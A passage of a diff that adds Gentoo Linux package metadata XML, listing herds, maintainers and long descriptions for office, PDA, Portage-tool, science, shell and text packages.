+tdl is a command-line application for managing a list of outstanding tasks that you have to do. It can organise tasks in a hierarchy, produce weekly reports of completed tasks and so on.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/ttyrec">
+<herd>no-herd</herd>
+<maintainer>
+  <email>matsuu@gentoo.org</email>
+  <name>MATSUU Takuto</name>
+</maintainer>
+<longdescription>
+ttyrec is a tty recorder. Recorded data can be played back with the
+included ttyplay command. ttyrec is just a derivative of script
+command for recording timing information with microsecond accuracy as
+well. It can record emacs -nw, vi, lynx, or any programs running on
+tty.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/worker">
+<herd>no-herd</herd>
+<maintainer>
+  <email>hillster@gentoo.org</email>
+	<name>Joel Hill</name>
+	<description>this is my main/only file manager so i watch 
+	it and its website closely</description>
+</maintainer>
+<longdescription>Worker is a filemanager for X-Window on UNIX.
+It's a clone of the filemanager &quot;Directory Opus 4&quot;, a very famous program for Amiga-systems.
+The dirs and files are shown in two independent panels (similar to MidnightCommander).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-misc/workrave">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/abiword">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/dia">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/gnotime">
+<herd>gnome</herd>
+<maintainer>
+	<email>gnome@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/gnucash">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/gnumeric">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/kbudget">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/khacc">
+<herd>kde-other</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/kmymoney2">
+<herd>kde-other</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/koffice">
+<herd>kde-other</herd>
+<maintainer>
+  <email>brain@gentoo.org</email>
+</maintainer>  
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/lxbank">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/lyx">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/magicpoint">
+<herd>no-herd</herd>
+<longdescription>
+Magic Point is an X11 based presentation tool. It is designed to make
+simple presentations easy while to make complicated presentations
+possible.  Its presentation file (whose suffix is typically .mgp) is
+just text so that you can create presentation files quickly with your
+favorite editor (e.g.  Emacs, vi).  
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/mrproject">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/openoffice-bin">
+<herd>openoffice</herd>
+<longdescription>Openoffice is the opensource version of staroffice. 
+This is the binary version of Openoffice. Use this if you don't want to wait
+for the source version to build, but be advised that this may not perform as quickly once installed as a natively compiled version.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/openoffice-ximian">
+<herd>openoffice</herd>
+<longdescription>This package provides the ximian flavour of openoffice. It
+ needs a long time to compile so be warned</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/openoffice">
+<herd>openoffice</herd>
+<longdescription>Openoffice is the opensource version of staroffice. 
+This ebuild allows you to compile it yourself. Unfortunately this 
+compilation can take up to a day depending on the speed of your 
+computer. It will however make a snappier openoffice than the binary 
+version</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/plan">
+<herd>no-herd</herd>
+<longdescription>Plan is a Motif based schedule planner.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/planner">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/qhacc">
+<herd>qt</herd> 
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/scribus">
+<herd>no-herd</herd>
+<maintainer><email>hanno@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-office/texmacs">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/coldsync">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/dynamite">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/gnome-pilot-conduits">
+<herd>gnome</herd>
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/gnome-pilot">
+<herd>gnome</herd>
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/gnupod">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/gtkpod">
+<herd>pda</herd>
+<maintainer><email>tester@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/jpilot">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/multisync">
+<herd>no-herd</herd>
+<maintainer>
+  <email>tad@gentoo.org</email>
+  <name>Troy Dack</name>
+</maintainer>
+<longdescription>Sync various portable devices with multiple clients</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/orange">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/pilot-link">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/pilot-mailsync">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/plptools">
+<herd>pda</herd>
+<maintainer><email>blauwers@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/qtopia-desktop-bin">
+<herd>pda</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+  <name>Steve Arnold</name>
+</maintainer>
+<longdescription>Qtopia Desktop is the sync app for qtopia on the Zaurus.  It is not available in source form.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/rapip">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce-dccm">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce-gnomevfs">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce-librapi2">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce-libsynce">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce-multisync_plugin">
+<herd>no-herd</herd>
+<maintainer>
+  <email>tad@gentoo.org</email>
+  <name>Troy Dack</name>
+</maintainer>
+<longdescription>Multisync plugin to get data from a PDA using synce</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce-rra">
+<herd>no-herd</herd>
+<maintainer>
+  <email>tad@gentoo.org</email>
+  <name>Troy Dack</name>
+</maintainer>
+<longdescription>Helper to sync with WinCE devices</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce-serial">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce-trayicon">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-pda/synce">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/deltup">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>genstef@gentoo.org</email>
+		<name>Stefan Schweizer</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/eclass-manpages">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>vapier@gentoo.org</email>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/elogv">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>fuzzyray@gentoo.org</email>
+		<name>Paul Varner</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/elogviewer">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>fuzzyray@gentoo.org</email>
+		<name>Paul Varner</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/epm">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>kanaka@gentoo.org</email>
+		<name>Joel Martin</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/esearch">
+	<herd>tools-portage</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/euses">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>jer@gentoo.org</email>
+		<name>Jeroen Roovers</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/genlop">
+	<herd>tools-portage</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/gentoolkit">
+	<herd>tools-portage</herd>
+	<longdescription>
+		Gentoolkit is a collection of useful adminstration scripts particular to
+		the Gentoo Linux distribution. It contains rough drafts and
+		implementations of features that may in time make it into Portage, or
+		into full-fledged tools in their own right.
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/gentoolkit-dev">
+	<herd>tools-portage</herd>
+	<longdescription>
+		Gentoolkit-dev is a collection of developer tools for the Gentoo
+		distribution.
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/kelogviewer">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>fuzzyray@gentoo.org</email>
+		<name>Paul Varner</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/mirrorselect">
+	<herd>tools-portage</herd>
+	<longdescription>
+		This utility is used to select the fastest mirror (distfiles) and
+		provide a nicer front-end for mirror selection
+		(both rsync + distfiles) to a user.
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/porthole">
+	<herd>tools-portage</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/splat">
+	<herd>tools-portage</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/udept">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>fuzzyray@gentoo.org</email>
+		<name>Paul Varner</name>
+	</maintainer>
+	<longdescription>
+		udept is a collection of Portage scripts, maintenance tools and analysis tools,
+		written in bash and powered by the dep engine.
+	</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-portage/ufed">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>truedfx@gentoo.org</email>
+		<name>Harald van Dijk</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-util/bdelta">
+	<herd>tools-portage</herd>
+	<maintainer>
+		<email>genstef@gentoo.org</email>
+		<name>Stefan Schweizer</name>
+	</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/babel">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/bioperl-pipeline">
+<herd>sci</herd>
+<maintainer><email>sediener@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/bioperl-run">
+<herd>sci</herd>
+<maintainer><email>sediener@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/bioperl">
+<herd>sci</herd>
+<maintainer><email>sediener@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/biopython">
+<herd>python</herd>
+<maintainer><email>george@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/blas-config">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/blas">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/calcoo">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/cdf">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/chemtool">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/chessbrain">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/clustalw">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/comedi">
+<herd>no-herd</herd>
+<maintainer>
+  <email>caleb@gentoo.org</email>
+  <name>Caleb Tennis</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/comedilib">
+<herd>no-herd</herd>
+<maintainer>
+  <email>caleb@gentoo.org</email>
+  <name>Caleb Tennis</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/electric">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/elem">
+<herd>sci</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/elph">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/emboss">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/epix">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/equate">
+<herd>no-herd</herd>
+<maintainer>
+ <email>vapier@gentoo.org</email>
+ <name>Mike Frysinger</name>
+</maintainer>
+<longdescription>
+Simple calculator designed to show off ewl.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/espresso-ab">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/euler">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/foldingathome">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/galculator">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gato">
+<herd>sci</herd>
+<maintainer>
+  <email>tigger@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gerbv">
+<herd>sci</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ghemical">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ginac">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/glpk">
+<herd>sci</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gmt">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gnucap">
+<herd>sci</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gperiodic">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gri">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gromacs">
+<herd>sci</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gtkwave">
+<herd>sci</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gturing">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/gwave">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/hcalc">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/hexcalc">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/hmmer">
+<herd>sci</herd>
+<maintainer><email>sediener@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/iverilog">
+<herd>sci</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/kconvert">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/kemistry">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/klogic">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/kmatplot">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ksetispy">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ksetiwatch">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ksimus-boolean">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ksimus-datarecorder">
+<herd>sci</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ksimus-floatingpoint">
+<herd>sci</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ksimus">
+<herd>sci</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/kunit">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/lapack">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/lard">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/libnova">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/lightspeed">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/lin-seti">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/magic">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/maxima">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/modelsim">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/molden">
+<herd>sci</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/moldy">
+<herd>sci</herd>
+<maintainer>
+<email>dberkholz@gentoo.org</email>
+<name>Donnie Berkholz</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/mpqc">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/mupad">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ncbi-tools">
+<herd>sci</herd>
+<maintainer><email>sediener@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/nco">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ncview">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/netcdf">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/ng-spice-rework">
+<herd>sci</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/num-utils">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/octave-forge">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/octave">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/openbabel">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/oregano">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/orsa">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/otter">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/oww">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/pari">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/pariguide">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/pcb">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/phylip">
+<herd>sci</herd>
+<maintainer><email>sediener@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/predict">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/primegen">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/pymol">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/qcad">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/qmatplot">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/rasmol">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/raster3d">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/scigraphica">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/scilab">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/setiathome">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/setimgr">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/singular">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/snac">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/snns">
+<herd>sci</herd>
+<maintainer>
+  <email>phosphan@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/spectromatic">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/spice">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/stellarium">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/systemc">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/tbass">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/tclspice">
+<herd>sci</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/tilp">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/udunits">
+<herd>sci</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+  <name>Steve Arnold</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Unidata units library and perl module.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/units">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/vbs">
+<herd>sci</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/vis5d+">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/vstgl">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/xcircuit">
+<herd>sci</herd>
+<maintainer>
+	<email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/xdrawchem">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/xephem">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/xfoil">
+<herd>sci</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/yacas">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-sci/zetagrid">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-shells/bash-completion">
+<herd>no-herd</herd>
+<maintainer>
+  <email>joker@gentoo.org</email>
+  <name>Christian Birchinger</name>
+</maintainer>
+<longdescription>
+  Since v2.04, bash has allowed you to intelligently program and extend its
+  standard completion behavior to achieve complex command lines with just a
+  few keystrokes. Imagine typing ssh [Tab] and being able to complete on hosts
+  from your ~/.ssh/known_hosts files. Or typing man 3 str [Tab] and getting a
+  list of all string handling functions in the UNIX manual. mount system:
+  [Tab] would complete on all exported file-systems from the host called
+  system, while make [Tab] would complete on all targets in Makefile. This
+  project was conceived to produce programmable completion routines for the
+  most common Linux/UNIX commands, reducing the amount of typing sysadmins and
+  programmers need to do on a daily basis.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-shells/csh">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+The Unix command-line interpreter shell and script language by William Joy, 
+originating from Berkeley Unix.
+
+Unix systems up to around Unix Version 7 only had one shell - the Bourne shell, sh. 
+Csh had better interactive features, notably command input history, allowing earlier 
+commands to be recalled and edited. 
+
+This version of csh was ported from the current release of NetBSD to Linux for the
+Gentoo project.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-shells/ksh">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+The KornShell language was designed and developed by David G. Korn at AT&amp;T 
+Bell Laboratories. It is an interactive command language that provides access 
+to the UNIX system and to many other systems, on the many different computers 
+and workstations on which it is implemented.
+
+ksh has the functionality of other scripting languages such as awk, icon, perl, 
+rexx, and tcl. For this and many other reasons, ksh is a much better scripting 
+language than any of the other popular shells. The code size for ksh is larger 
+than the Bourne shell or C shell programs. The revised version is even larger.
+
+In spite of its increased size, ksh provides better performance. You can write 
+programs to run faster with ksh than with either the Bourne shell or the C shell, 
+sometimes an order of magnitude faster. ksh has evolved and matured with extensive 
+user feedback. It has been used by many thousands of people at AT&amp;T since 1982, 
+and at many other companies and universities. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-shells/rssh">
+<herd>no-herd</herd>
+<maintainer><email>vapier@gentoo.org</email></maintainer>
+<maintainer><email>max@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-shells/smrsh">
+<herd>net-mail</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-shells/zsh">
+<herd>no-herd</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+  Zsh is a shell designed for interactive use, although it is also a
+  powerful scripting language. Many of the useful features of bash, ksh,
+  and tcsh were incorporated into zsh; many original features were
+  added.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/a2ps">
+<herd>printing</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+  <description>I list my name as a maintainer because I added cjk
+  patch for a2ps so I have the responsibility for that part (in fact,
+  it caused many troubles with autoconf ;-/) , but the package should
+  belong to and be maintained by printing herd ;-)
+  </description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/acroread">
+<herd>no-herd</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/active-dvi">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/c2ps">
+<herd>printing</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/cedilla">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zul@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/chasen">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/cmigemo">
+<herd>cjk</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/convmv">
+    <herd>app-text</herd>
+<maintainer>
+  <email>robbat2@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/cstetex">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/djvu">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/docbook-dsssl-stylesheets">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/docbook-sgml-dtd">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/docbook-sgml-utils">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/docbook-sgml">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/docbook-xml-dtd">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/docbook-xml-simple-dtd">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/docbook-xsl-stylesheets">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/dvipdfm">
+<herd>text-markup</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="app-text/dvipdfmx">
+<herd>cjk</herd>
+<herd>text-markup</herd>
+<herd>printing</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+<longdescription>
+The DVIPDFMx (formerly dvipdfm-cjk) project provides an eXtended
+version of the dvipdfm, a DVI to PDF translator developed by Mark A.
+Wicks. The primary goal of this project is to support multi-byte
+character encodings and large character sets for East Asian languages
+by CID-keyed font technology.  The secondary goal is to support as
+many features as pdfTeX developed by Han The Thanh. This project is a
